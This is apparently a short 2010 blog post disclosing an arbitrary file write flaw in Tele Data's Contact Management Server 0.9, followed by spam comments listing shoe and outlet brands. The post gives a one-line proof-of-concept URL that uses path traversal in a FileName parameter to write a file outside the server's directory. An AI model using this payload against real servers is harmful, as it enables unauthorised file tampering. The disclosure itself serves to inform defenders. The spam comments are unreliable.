An arbitrary file write vulnerability in Tele Data's Contact Management Server 0.9 can be exploited to write to the local file system of the server.
PoC
Login as an administrator and navigate to http://localhost/command.html?Cmd=SQL_Save&SQL=hello%20world&FileName=..\..\..\..\..\..\..\..\..\x.txt
Sunday, May 23, 2010
Subscribe to:
Post Comments (Atom)
adidas nmd
ReplyDeletenike air force 1 high
adidas stan smith men
nike air vapormax
nike air force 1 low
nike react
supreme outlet
coach factory outlet
jordans
michael kors outlet
I’m going to read this. I’ll be sure to come back. thanks for sharing. and also This article gives the light in which we can observe the reality. this is very nice one and gives indepth information. thanks for this nice article... locateanumber
ReplyDelete